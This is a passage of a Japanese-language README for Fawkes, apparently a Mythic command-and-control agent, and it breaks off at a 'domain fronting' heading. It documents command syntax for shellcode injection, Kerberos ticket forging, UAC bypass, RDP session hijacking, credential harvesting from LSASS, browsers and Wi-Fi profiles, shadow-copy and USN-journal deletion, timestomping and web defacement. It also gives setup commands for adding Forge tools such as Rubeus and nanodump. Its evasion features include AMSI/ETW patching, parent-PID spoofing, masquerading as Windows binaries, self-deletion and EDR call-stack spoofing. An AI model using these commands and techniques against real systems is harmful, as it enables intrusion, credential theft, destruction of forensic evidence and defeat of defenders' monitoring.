thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows、macOS)** スレッド実行ハイジャックによるシェルコード注入 - 既存スレッドを中断、PC/RIPをシェルコードにリダイレクト、再開。macOSはMach API(task_for_pid + thread_get/set_state)を使用、rootが必要(T1055.003)。
threadless-inject | `threadless-inject` | **(Windowsのみ)** リモートプロセスのDLL関数をフックすることでスレッドレスインジェクションでシェルコードを注入。新しいスレッドを作成しないため、バニラインジェクションよりステルス性が高い。
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Kerberosチケットの偽造、要求、更新、委任、証明書認証。Forge:ゴールデン/シルバーチケット(オフライン)。Request:Overpass-the-Hash(オンライン)。Diamond:実際のAS交換+回避のためのチケット変更。Renew:TGT有効期間の延長。S4U:S4U2Self+S4U2Proxyによる制約付き委任。PKINIT:ADCS/Shadow Credsからの証明書ベース認証。クロスプラットフォーム(T1558.001、T1558.002、T1550.002、T1134.001、T1649)。
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | ファイル内容内の文字を変換、圧縮、削除。文字クラスと範囲をサポート。クロスプラットフォーム(T1083)。
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | 外部送信用の高価値ファイルを検出 - ドキュメント、資格情報、設定、データベース(.db/.sqlite)、スクリプト(.py/.sh/.ps1)、アーカイブ(.zip/.tar/.7z)、メールファイル(.pst/.eml/.mbox)、最近変更されたファイル、またはカスタムパススキャン。**recon-chain**:自動サブタスクチェーン - ポートスキャン → SMB共有列挙 → 共有ハント → ローカルトリアージ(ターゲット、ユーザー名/パスワードが必要)。クロスプラットフォーム(T1083、T1005)。
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | LDAP経由でドメイン/フォレスト信頼を列挙(フォレストトポロジ、推移性分析、暗号強度、攻撃パス識別付き)。クロスプラットフォーム(T1482)。
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | ファイルタイムスタンプを変更して環境に溶け込む。取得、別ファイルからコピー、特定時刻の設定、ディレクトリ隣接ファイルとの一致(IQR)、または範囲内でランダム。`clean-prefetch`は指定実行ファイルのWindowsプリフェッチファイルを削除。Windowsは作成時刻も変更。
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Windowsのみ)** RDPセッション管理 - 一覧表示、ハイジャック、切断、ログオフ。資格情報なしでのセッション乗っ取り(T1563.002)。
ts | `ts [-a] [-i PID]` | **(Windowsのみ)** プロセス内のスレッドを一覧表示。デフォルトではアラート可能スレッド(中断/DelayExecution状態)のみ表示。`-a`で全スレッド、`-i`でPIDフィルタリング(T1057)。
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Windowsのみ)** UACをバイパスして中整合性から高整合性に昇格。8つの手法:レジストリハイジャック、環境変数ハイジャック、INFファイル悪用、COM CLSIDハイジャック、モック信頼ディレクトリ。デフォルトで昇格コールバックを起動(T1548.002、T1218.003)。
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | ファイル内の重複する連続行をフィルタリングまたはカウント。Countモードは頻度順にソート。クロスプラットフォーム(T1083)。
unlink | `unlink -connection_id <uuid>` | リンクされたP2Pエージェント(TCPまたは名前付きパイプ)を切断。クロスプラットフォーム(T1572)。
uptime | `uptime` | システムの稼働時間、起動時刻、ロードアベレージを表示。クロスプラットフォーム(T1082)。
upload | `upload` | チャンクファイル転送でターゲットにファイルをアップロード。gzipファイルの自動解凍をサポート。SHA256ハッシュ検証。
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Windowsのみ)** NTFS USN変更ジャーナルの照会または削除 - ファイル操作履歴を破棄してアンチフォレンジック(T1070.004)。
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | リモートプロセスへのシェルコード注入(inject)、エージェント移行(migrate: 注入+終了)、またはLD_PRELOAD .soで新しいプロセスを起動(ldpreload: Linuxのみ、ptrace不要、Yamaをバイパス)。**Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread。**Linux (amd64/arm64):** /proc/PID/mem直接書き込み、memfd経由のLD_PRELOAD。T1055.001、T1055.009、T1574.006。
vm-detect | `vm-detect [-action detect\|sandbox]` | VM/ハイパーバイザー環境の検出、またはサンドボックス回避の分析。`detect`:MAC OUI、DMI/SMBIOS、VMツール、SCSI、CPUハイパーバイザーフラグ。`sandbox`:スコアリング分析 - CPU数、RAM、ディスク、稼働時間、スリープタイミング、ホスト名、プロセス数、ユーザー名。クロスプラットフォーム(T1497、T1497.001)。
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | 影響技術:VSS管理(Windows)、リカバリ阻害(T1490)、シャットダウン/再起動(T1529、クロスプラットフォーム)。破壊的操作には-confirm trueが必要。MITRE T1003.003、T1490、T1529。
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | ディレクトリをファイルシステム変更について監視 - ポーリングによる新規、変更、削除ファイルの検出。globフィルタリングとMD5ハッシュ検出をサポート。クロスプラットフォーム(T1083、T1119)。
wc | `wc -path <file_or_dir> [-pattern <glob>]` | ファイルの行数、単語数、文字数、バイト数をカウント。globパターンフィルタリングと合計付きディレクトリモード。クロスプラットフォーム(T1083)。
wdigest | `wdigest -action <status\|enable\|disable>` | **(Windowsのみ)** WDigest平文パスワードキャッシュの管理。有効化すると次回ログオン時に平文パスワードをキャプチャ。MITRE T1003.001、T1112。
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` または `winrm -action check -host <target> [-username <user> -password <pass>]` | NTLM認証でWinRM経由でリモートWindowsホストにコマンド実行。パスザハッシュ、cmd.exeとPowerShellをサポート。`check`はWinRM前提条件(ポート5985/5986、認証、シェル)を検証。クロスプラットフォーム(T1021.006、T1550.002)。
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Windowsのみ)** 表示中のアプリケーションウィンドウを列挙 - HWND、PID、プロセス名、ウィンドウクラス、タイトルを表示。検索はタイトル/プロセス/クラスでフィルタリング。MITRE T1010。
who | `who [-all true]` | 現在ログイン中のユーザーとアクティブセッションを表示。Linux:utmp解析。Windows:WTS API。macOS:whoコマンド。クロスプラットフォーム(T1033)。
whoami | `whoami` | 現在のユーザーIDとセキュリティコンテキストを表示。Windows:ユーザー名、SID、トークンタイプ、整合性レベル、グループメンバーシップ、特権。Linux:ユーザー、UID、GID、グループ、実効ケイパビリティ(デコード済み)、SELinux/AppArmorコンテキスト、コンテナ検出。macOS:ユーザー、UID、GID、グループ。
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Windowsのみ)** COM API経由でWMIクエリ、プロセス作成、ファイルアップロード、ステージド実行を実行。upload:certutil/PowerShellステージング経由でファイル転送。exec-staged:アップロード後自動クリーンアップ付きで実行。`check`はWMI前提条件(RPC 135、WMI接続)を検証。MITRE T1047、T1570。
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Windowsのみ)** COM API経由のWMIイベントサブスクリプション永続化。CommandLineとActiveScript(VBScript/JScript)コンシューマーをサポート。ファイルレス、再起動後も存続。MITRE T1546.003。
wlan-profiles | `wlan-profiles [-name <SSID>]` | 保存済みWiFiネットワークプロファイルと資格情報を復元。Windows:WLAN API、Linux:NetworkManager/wpa_supplicant/iwd、macOS:Keychain。クロスプラットフォーム(T1555)。
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | ファイルへの内容書き込み、またはWebページの改ざん。`write`:作成/上書き/追記(デフォルト)。`deface`:Webコンテンツを改ざんメッセージに置き換え(T1491、セーフティゲート)。クロスプラットフォーム(T1105、T1491)。
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Windowsのみ)** DLL関数アドレスにバイトを書き込み。
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Linux/macOSのみ)** 拡張ファイル属性の管理 - 一覧表示、取得、設定、削除。データ隠蔽におけるWindows ADSのUnix版(T1564.004)。## Forge コマンド拡張
Fawkes は [Mythic Forge](https://github.com/MythicAgents/forge) コマンド拡張をサポートしており、外部ツールコレクションを使用してエージェントの機能を動的に拡張します。Forge が Mythic と一緒にインストールされている場合、追加のコマンドが自動的に Fawkes コールバック用の Mythic UI に表示されます — エージェントのリビルドは不要です。
**サポートされているツールコレクション:**
| コレクション | タイプ | 実行方法 | 例 |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET assemblies | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF files | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |
### セットアップ(新規インストール)
**ステップ 1: Forge をインストール**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge
ステップ2: Fawkes を Forge のペイロードタイプサポートに追加
InstalledServices/forge/payload_type_support.json を編集し、JSON配列に Fawkes エントリを追加してください:```json
{
"agent": "fawkes",
"bof_command": "inline-execute",
"bof_file_parameter_name": "bof_file",
"bof_argument_array_parameter_name": "coff_arguments",
"bof_entrypoint_parameter_name": "function_name",
"inline_assembly_command": "inline-assembly",
"inline_assembly_file_parameter_name": "assembly_file",
"inline_assembly_argument_parameter_name": "assembly_arguments",
"execute_assembly_command": "",
"execute_assembly_file_parameter_name": "",
"execute_assembly_argument_parameter_name": "",
"assembly_default_execution_method": "inline_assembly"
}
これにより、Forgeの汎用パラメータインターフェースがFawkesの特定のコマンド名とパラメータ名にマッピングされます。フィールドマッピングは以下の通りです。
- `bof_command` → Fawkesの`inline-execute`コマンド(BOF/COFF実行)
- `inline_assembly_command` → Fawkesの`inline-assembly`コマンド(.NETアセンブリ実行)
- `execute_assembly_command` → 空(Fawkesはすべての.NET実行にinline-assemblyを使用)
- パラメータ名は、Fawkesのエージェント関数が"Forge"パラメータグループで定義するものと完全に一致する必要があります
**ステップ 3: 再構築と再起動**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes
Step 4: ツールソースの登録
Mythic UI を開き、forge_register コマンド(任意のコールバックから利用可能)を使用してツールソースを登録します。一般的なソース:
| ソース | タイプ | 提供内容 |
|---|---|---|
| Rubeus | .NET アセンブリ | Kerberos 攻撃 (kerberoasting、チケット偽造、委任) |
| Seatbelt | .NET アセンブリ | ホストセキュリティ調査 (権限、資格情報、構成) |
| Certify | .NET アセンブリ | AD 証明書サービスの列挙と悪用 |
| SharpHound | .NET アセンブリ | BloodHound データ収集 |
| SharpUp | .NET アセンブリ | ローカル権限昇格のチェック |
| SharpView | .NET アセンブリ | Active Directory 列挙 (PowerView ポート) |
| nanodump | BOF | MiniDumpWriteDump による LSASS メモリダンプ |
| credman | BOF | Windows Credential Manager の収集 |
ソースを登録するには、commandName をプレーンなソース名(例: Rubeus。forge_net_Rubeus ではない)に設定し、remove を false にして forge_register を実行します。
登録後、Forge はツールバイナリをダウンロードし、拡張コマンド(例: forge_net_Rubeus、forge_bof_nanodump)を作成します。これらのコマンドはコールバックのコマンドリストに表示されます。
Step 5: 確認
既存のコールバックは Forge コマンドを自動的に認識します。新しいペイロードは必要ありません。登録したツールを実行してテストします:
- 最初に
autopatchまたはstart-clrを実行します(.NET ツールの AMSI パッチ適用) - Forge コマンド(例:
forge_net_Seatbelt)を選択します - 引数を入力します(例:
-group=system) - 実行 – Forge はコマンドを、埋め込まれたツールバイナリを使用した
inline-assemblyに変換します
使用上のヒント
- .NET ツール(SharpCollection)の場合、最初に
start-clrを autopatch 付きで実行して CLR を初期化し、AMSI にパッチを適用します。これを行わないと、Windows Defender がアセンブリの実行をブロックする可能性があります - BOF ツール(Sliver Armory)の場合、BOF が x64 用にコンパイルされていることを確認してください
- 特別なビルドパラメータは必要ありません – Forge サポートは Fawkes の
inline-executeおよびinline-assemblyコマンドに「Forge」パラメータグループを介して組み込まれています - Forge コマンドは、エージェントを再構築せずに既存のコールバックで動作します
- API 経由で Forge コマンドを発行する場合は、
createTaskミューテーションにpayload_type: "forge"を含めてください。これがないと、Mythic はコールバック自身のペイロードタイプのみを検索します
インジェクション技術
PoolParty インジェクション
| バリアント | 技術 | トリガー | Go シェルコード |
|---|---|---|---|
| 1 | Worker Factory Start Routine Overwrite | 新しいワーカースレッドの作成 | なし |
| 2 | TP_WORK 挿入 | タスクキュー処理 | あり |
| 3 | TP_WAIT 挿入 | イベントシグナリング | あり |
| 4 | TP_IO 挿入 | ファイル I/O 完了 | あり |
| 5 | TP_ALPC 挿入 | ALPC ポートメッセージング | あり |
| 6 | TP_JOB 挿入 | ジョブオブジェクト割り当て | あり |
| 7 | TP_DIRECT 挿入 | I/O 完了ポート | あり |
| 8 | TP_TIMER 挿入 | タイマー満了 | あり |
Opus インジェクション
| バリアント | 技術 | ターゲット | Go シェルコード |
|---|---|---|---|
| 1 | Ctrl-C ハンドラチェーン | コンソールプロセスのみ | なし |
| 4 | PEB KernelCallbackTable | GUI プロセスのみ | あり |
詳細なバリアントの説明については、インジェクション技術の詳細 を参照してください。
ビルドオプション
DLL エクスポートメソッド
shared(DLL)または windows-shellcode モードでビルドする場合、dll_exports ビルドパラメータによってどの DLL エクスポートを含めるかを制御します:
| 設定 | エクスポート | 使用例 |
|---|---|---|
standard(デフォルト) | Run、Fire、VoidFunc | sRDI シェルコード、rundll32、汎用ローダー |
full | Standard + DllRegisterServer、DllUnregisterServer、ServiceMain、DllGetClassObject、DllCanUnloadNow | regsvr32、svchost サービス、COM ハイジャック |
full エクスポートでの実行方法:
| エクスポート | 実行方法 | MITRE |
|---|---|---|
DllRegisterServer | regsvr32 /s fawkes.dll | T1218.010 |
DllUnregisterServer | regsvr32 /u /s fawkes.dll | T1218.010 |
ServiceMain | svchost.exe DLL サービス(Windows のみ) | T1543.003 |
DllGetClassObject + DllCanUnloadNow | COM ハイジャック InprocServer32 | T1546.015 |
バイナリ増量
Fawkes はビルド時にオプションでバイナリ増量をサポートしています。これにより、コンパイルされたエージェントに繰り返しバイトのブロックが埋め込まれ、ファイルサイズの増加やエントロピースコアの低下に使用できます。
2 つのビルドパラメータがこれを制御します:
- inflate_bytes - 埋め込む 16 進バイト(例:
0x90または0x41,0x42) - inflate_count - バイトパターンを繰り返す回数
バイトパターンは inflate_count 回繰り返されるため、追加される合計サイズは length(byte_pattern) * inflate_count となります。
サイズ設定のクイックリファレンス:
| inflate_count | 単一バイト(例: 0x90) | 2 バイト(例: 0x41,0x42) |
|---|---|---|
| 1,000 | 1 KB | 2 KB |
| 10,000 | 10 KB | 20 KB |
| 100,000 | 100 KB | 200 KB |
| 1,000,000 | 1 MB | 2 MB |
| 3,000,000 | 3 MB | 6 MB |
| 10,000,000 | 10 MB | 20 MB |
増量が構成されていない場合、バイナリに 1 バイトのオーバーヘッドのみが追加されます。
PE リソース埋め込み(Windows のみ)
Windows PE バイナリには、バージョン情報、アイコン、UAC マニフェストなどのメタデータリソースが含まれており、ファイルのプロパティ、タスクマネージャー、エクスプローラーで表示されます。デフォルトの Go バイナリにはこのメタデータがまったく含まれておらず、これはセキュリティツールやアナリストにとって強力な検出シグナルとなります。
Fawkes はビルド時に PE リソースを埋め込んで、正当な Windows バイナリになりすますことをサポートしています:
ビルドパラメータ:
| パラメータ | タイプ | 説明 |
|---|---|---|
pe_preset | 選択 | クイックなりすましプリセット(notepad、svchost、cmd、explorer など) |
pe_company | 文字列 | CompanyName(例: "Microsoft Corporation") |
pe_description | 文字列 | FileDescription – タスクマネージャーに表示 |
pe_product | 文字列 | ProductName |
pe_version | 文字列 | File/Product バージョン(例: "10.0.19041.1") |
pe_copyright | 文字列 | LegalCopyright |
pe_original_filename | 文字列 | OriginalFilename – フォレンジックツールに表示 |
pe_icon | ファイル | カスタム .ico または .png アイコンファイル |
pe_manifest | 選択 | UAC レベル: asInvoker、highestAvailable、requireAdministrator |
プリセット(実際のバージョン情報を持つ 10 の一般的な Windows バイナリ):
notepad、svchost、cmd、explorer、msiexec、dllhost、rundll32、conhost、taskhostw、RuntimeBroker
個々のフィールドはプリセット値を上書きします。PE リソースパラメータが設定されていない場合、バイナリはデフォルトの Go 出力から変更されません。
OPSEC 機能
アーティファクト追跡
Fawkes は、OPSEC に関連するコマンドに対して自動的にアーティファクトを Mythic に登録します。アーティファクトは Mythic UI の Artifacts タブに表示され、オペレーターはエンゲージメント中に生成されたすべてのフォレンジックインジケーターを明確に把握できます。
追跡されるアーティファクトタイプ:
| タイプ | コマンド |
|---|---|
| プロセス作成 | run、powershell、spawn、argue |
| API コール | net-enum、net-user、service、wmi、schtask、procdump、hashdump、eventlog、ntdll-unhook、syscalls、firewall、dcom、vss(作成/削除)、psexec |
| プロセス強制終了 | kill |
| プロセスインジェクション | vanilla-injection、apc-injection、threadless-inject、poolparty-injection、opus-injection、module-stomp、thread-hijack |
| ファイル書き込み | upload、cp、mv |
| ファイル作成 | mkdir |
| ファイル削除 | rm |
| ファイル変更 | timestomp |
| レジストリ書き込み | reg(書き込み/削除)、remote-reg(設定/削除)、persist(レジストリ、com-hijack、screensaver メソッド)、uac-bypass、defender(追加/除外削除) |
| レジストリ保存 | reg(保存/creds) |
| リモートレジストリ | remote-reg(WinReg RPC 経由のクエリ/列挙/設定/削除) |
| リモートサービス | remote-service(SVCCTL RPC 経由のリスト/クエリ/作成/開始/停止/削除/パス変更/トリガー/dll-sideload) |
| ログオン | make-token |
| トークン窃取 | steal-token、getsystem |
読み取り専用コマンド(ls、ps、cat、env など)はアーティファクトを生成しません。
資格情報ストア統合
資格情報収集コマンドは、発見内容を Mythic の Credentials ストアに自動的に報告し、Mythic UI から検索およびエクスポートできるようにします。
| コマンド | 資格情報タイプ | 報告内容 |
|---|---|---|
| hashdump | hash | SAM NTLM ハッシュ(Windows)、MSV1_0 NT/LM/SHA ハッシュ(Windows、insitu-full、in-situ LSASS ウォーク)、Kerberos TGT およびサービスチケット .kirbi 形式(Windows、tickets)、/etc/shadow ハッシュ(Linux)、PBKDF2 ハッシュ(macOS) |
| kerberoast | hash | オフラインクラッキング用の TGS チケット |
| asrep-roast | hash | AS-REP ハッシュ |
| dcsync | hash | DRSGetNCChanges 経由の NTLM + AES キー |
| lsa-secrets | プレーンテキスト/ハッシュ/キー | サービスパスワード、キャッシュされた資格情報、DPAPI キー |
| laps | プレーンテキスト | LAPS v1 および v2 パスワード |
| gpp-password | プレーンテキスト | SYSVOL からの GPP 暗号化パスワード |
| browser | プレーンテキスト | Chrome/Edge/Firefox 保存パスワード(全プラットフォーム)、Cookie(全プラットフォーム)、履歴、自動入力、ブックマーク |
| dpapi | プレーンテキスト/ハッシュ | DPAPI 保護されたシークレット |
| credman | プレーンテキスト | Credential Manager エントリ(ダンプアクション時) |
| make-token | プレーンテキスト | トークン作成に使用された資格情報 |
| cred-harvest | ハッシュ/プレーンテキスト/トークン | シャドウハッシュ、クラウド環境変数、機密環境変数、M365 OAuth/JWT トークン、CDP 経由のライブブラウザ Cookie/ストレージ |
| credential-prompt | プレーンテキスト | ダイアログキャプチャ資格情報(macOS/Windows/Linux) |
キーログ追跡
keylog コマンドは Mythic の Keylogs 機能と統合されています。stop または dump でキーストロークが返されると、ウィンドウタイトルごとに自動的に解析され、ユーザー属性とともに Mythic のキーログトラッカーに送信されます。キーログは Mythic UI でウィンドウタイトル、ユーザー、またはキーストローク内容で検索可能です。
トークン追跡
make-token および steal-token コマンドは、トークンを Mythic の Callback Tokens トラッカーに登録します。これにより、各コールバックに関連付けられたトークン(偽装されたユーザー ID とソースプロセスを含む)の可視性が提供されます。rev2self コマンドは、偽装が解除されたときに追跡されているトークンを自動的に削除します。
TLS 証明書検証
エージェントが C2 サーバーと通信する際の HTTPS 証明書の検証方法を制御します。ビルド時に tls_verify パラメータで構成します:
| モード | 説明 |
|---|---|
none | すべての TLS 検証をスキップ(デフォルト、後方互換) |
system-ca | OS トラストストアに対して証明書を検証 |
pinned:<sha256> | 特定の証明書フィンガープリント(SHA-256 16 進数)にピン留め。サーバー証明書が一致しない場合、エージェントは接続を拒否します。 |
証明書ピン留めは、攻撃者が信頼された CA を制御している場合でも、エージェントトラフィックの MITM インターセプトを防ぎます。
TLS フィンガープリント偽装(JA3)
Go の標準 TLS スタックは、ネットワークセキュリティツールがブラウザ以外のトラフィックとして識別できる特徴的な JA3 ハッシュを生成します。tls_fingerprint ビルドパラメータは uTLS を使用して TLS ClientHello を偽装し、ブラウザに一致する JA3 フィンガープリントを生成します。
| フィンガープリント | 説明 |
|---|---|
chrome | Chrome/Chromium(デフォルト)– 最も一般的なブラウザ、溶け込みに最適 |
firefox | Firefox |
safari | Safari |
edge | Microsoft Edge |
rotate | 接続ごとに Chrome/Firefox/Safari/Edge をランダムに選択(JA3 相関を防止) |
random | 完全にランダム化されたフィンガープリント(ブラウザ一致ではない) |
go | 偽装なし – Go のデフォルト TLS スタックを使用 |
相互 TLS(mTLS)クライアント証明書認証
HTTP C2 プロファイルにクライアント証明書認証を追加します。構成すると、エージェントは TLS ハンドシェイク中にクライアント証明書を提示し、C2 サーバーがエージェントの ID を検証できるようにします。これにより、パッシブ HTTPS インターセプトおよびプロキシ MITM 攻撃を防ぎます。
| パラメータ | 説明 |
|---|---|
mtls_cert | PEM エンコードされたクライアント証明書 |
mtls_key | PEM エンコードされたクライアント秘密鍵 |
証明書/鍵はビルド時に base64 エンコードされ、文字列難読化が有効な場合は XOR 暗号化され、実行時には AES-256-GCM 構成ボールトに保存されます。既存の TLS 検証モードおよび JA3 フィンガープリント偽装と組み合わせて使用できます。
フォールバック C2 URL
複数の C2 コールバック URL と自動フェイルオーバー。プライマリコールバックホストに到達できない場合、エージェントはバックオフを適用する前に透過的にフォールバック URL を循環します。
| パラメータ | 説明 |
|---|---|
fallback_hosts | カンマ区切りのフォールバック C2 ホスト(例: http://backup1.example.com,https://backup2.example.com) |
プライマリと同じポートと暗号化。最後に成功した URL を記憶します。構成ボールトおよび XOR 難読化と連携します。
環境キーイング / ガードレール
不正なシステムでのエージェントの実行を防ぎます。ビルド時に構成 – チェックに失敗した場合、エージェントはネットワーク接続を行う前にサイレントに終了します。ログ、アーティファクト、C2 トラフィックは発生しません。
| パラメータ | タイプ | 説明 |
|---|---|---|
env_key_hostname | 正規表現 | ホスト名が一致する必要があります(例: WORKSTATION-\d+ または .*\.contoso\.com) |
env_key_domain | 正規表現 | ドメインが一致する必要があります(例: CONTOSO または .*\.local) |
env_key_username | 正規表現 | ユーザー名が一致する必要があります(例: admin.* または svc_.*) |
env_key_process | 文字列 | 実行中である必要があるプロセス名(例: outlook.exe) |
env_key_cpuid | 正規表現 | CPU ブランド文字列が一致する必要があります(例: .*Intel.*i7-12700.* または .*AMD.*5950X.*)。異なる CPU モデルを持つサンドボックスでの実行を防ぎます。 |
env_key_derive | 選択 | ターゲットホストプロパティから派生したキーで C2 構成を暗号化。オプション: hostname、domain、username、hostname+domain、hostname+domain+username。間違ったホスト = AES 復号失敗 = サイレント終了。正規表現マッチよりも強力 – 構成値がバイナリに表示されることはありません。 |
すべてのパターンは大文字小文字を区別せず、完全な値に一致するように固定されます。複数のキーを組み合わせることができます – すべてが合格する必要があります。無効な正規表現パターンはフェイルクローズ(エージェント終了)します。チェックをスキップするには空のままにします。
環境キー派生(env_key_derive): 設定すると、すべての機密 C2 構成(コールバックホスト、UUID、暗号化キー、URI、プロキシ設定など)が、ビルド時にターゲットの環境から派生したキーを使用して AES-256-GCM で暗号化されます。実行時に、エージェントは自身の環境からキーを再派生します – 一致しない場合(間違ったホスト/ドメイン/ユーザー)、復号に失敗し、エージェントはサイレントに終了します。これは正規表現マッチよりも強力です。構成値はどの形式でもバイナリに存在しないためです。対応する env_key_* の値には、正確なターゲット値(正規表現パターンではない)が含まれている必要があります。obfuscate_strings(最初に XOR レイヤー、次に AES-GCM)とスタックされます。
C2 文字列難読化
obfuscate_strings ビルドパラメータを有効にすると、すべての C2 構成文字列(コールバックホスト、URI、ユーザーエージェント、暗号化キー、UUID)がビルド時にビルドごとのランダムな 32 バイトキーで XOR エンコードされます。バイナリでの strings による簡単な IOC 抽出を防ぎます。実行時にデコードされます。クロスプラットフォーム。
子プロセス用 BlockDLLs
block_dlls ビルドパラメータを有効にすると、エージェントによって生成されたすべての子プロセス(run、powershell コマンド)に PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON が適用されます。EDR が生成されたプロセスに監視 DLL をインジェクションするのを防ぎます。STARTUPINFOEX と UpdateProcThreadAttribute を使用します。Windows のみ。
サブプロセス用の親 PID 偽装
実行時に config -action set -key default_ppid -value <PID> を設定すると、すべての子プロセス(run、powershell)が正当なプロセス(例: explorer.exe)の子として表示されるようになります。EDR による親子プロセス関係の検出を無効にします。両方がアクティブな場合、BlockDLLs と組み合わせます。UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) を使用します。config -action set -key default_ppid -value 0 で無効にします。Windows のみ(T1134.004)。
ETW/AMSI の自動パッチ
auto_patch ビルドパラメータを有効にすると、エージェント起動時に EtwEventWrite と AmsiScanBuffer が自動的にパッチされます。これにより、エージェントアクティビティが発生する前に ETW ベースの検出と AMSI スキャンが防止されます – 手動コマンドは不要です。Windows のみ(Linux/macOS では何もしません)。
自己削除
self_delete ビルドパラメータを介して、起動時に自動的にバイナリを削除するように設定します。エージェントが実行を開始すると、ディスクから自身のファイルを削除します – これにより主要なフォレンジックアーティファクトが排除されます。
- Linux/macOS:
os.Remove()を使用 – 実行中のプロセスはインメモリの inode マッピングを介して継続します。ファイルは即座にディスクから消えます。 - Windows: NTFS ストリーム名前変更テクニックを使用 – デフォルトの
:$DATAストリームの名前を変更し、ファイルエントリを削除します。子プロセスは生成されません。
バイナリは環境キーチェックに合格した後、ネットワークアクティビティが開始される前に削除されます。
プロセスマスカレード(Linux)
masquerade_name ビルドパラメータを設定して、Linux 上のエージェントのプロセス名を変更します。prctl(PR_SET_NAME) を使用して /proc/self/comm を変更します。これは ps、top、htop で表示されます。最大 15 文字。
有用な名前: [kworker/0:1]、[migration/0]、sshd、apache2、[rcu_preempt]
自己削除と組み合わせると、エージェントはディスクにファイルを持たない正当なカーネルスレッドまたはサービスとして表示されます。
スリープメモリガードページ
sleep_guard_pages を有効にすると(sleep_mask=true が必要)、スリープサイクル中に暗号化されたボールトメモリに VirtualProtect(PAGE_NOACCESS) が適用されます。スリープマスクが機密データを暗号化(AES-256-GCM)し、元のデータをゼロにした後、ガードページはボールトを専用の VirtualAlloc されたメモリに移動し、NO_ACCESS としてマークします。EDR メモリスキャナー、ReadProcessMemory、WinDbg、Process Hacker はボールトの読み取り時に STATUS_ACCESS_VIOLATION を受け取ります。ウェイク時にページは復号前に PAGE_READWRITE に戻されます。Linux/macOS では、ガードページは mmap(MAP_ANON) + mprotect(PROT_NONE) を使用します – プローブは SIGSEGV をトリガーします。
スリープボールトキーはハードウェアにバインドされています(HKDF-SHA256): ランダムシードがマシンの CPU ブランド文字列と UUID の SHA-256 ハッシュと混合されます。メモリダンプからボールトブロブを抽出し、異なるハードウェアで復号を試みた場合、キー派生は異なるキーを生成します。
コールスタック偽装
stack_spoof を有効にすると、スリープスレッドのコールスタックが偽装され、EDR スレッドスキャンツール(Hunt-Sleeping-Beacons、Moneta、CrowdStrike)を無効にします。
- Windows(
indirect_syscalls=trueが必要): 専用のネイティブスレッドがNtDelayExecutionを、偽のリターンアドレス(kernel32!SleepEx、kernel32!BaseThreadInitThunk、ntdll!RtlUserThreadStartを指す)とともに実行します – これは EDR が期待する標準的なスレッド初期化チェーンです。 - Linux amd64: 匿名 mmap メモリ内に独自の 291 バイトのマシンコードスタブを持つ子プロセスが
clone(CLONE_VM)で作成されます。子プロセスはnanosleepを raw システムコール経由で直接呼び出します – スリープスレッドのスタック上に Go ランタイムまたはエージェントコードのアドレスは表示されません。シグナルハンドラは子プロセスで SIG_DFL にリセットされ、PR_SET_PDEATHSIGにより親が終了したときに子プロセスが強制終了されるようにします。 - macOS arm64: 匿名 mmap メモリ内に 140 バイトの ARM64 マシンコードスタブを持つネイティブ pthread が生成されます。スレッドは Go ランタイムとの同期に
__ulock_wait/__ulock_wakeを使用し、nanosleepを raw システムコール経由で呼び出します – スリープスレッドのスタックには匿名スタブとカーネルフレームのみが表示され、Go ランタイムやエージェントコードは表示されません。
カスタム HTTP ヘッダー
Mythic HTTP C2 プロファイル構成で定義されたすべてのヘッダーがすべてのリクエストに適用されます。User-Agent(常にサポート)に加えて、オペレーターは Accept-Language、Referer、Cookie、X-Forwarded-For などのヘッダーを追加して、C2 トラフィックを正当な Web トラフィックパターンに溶け込ませることができます。
ドメインフロンティング
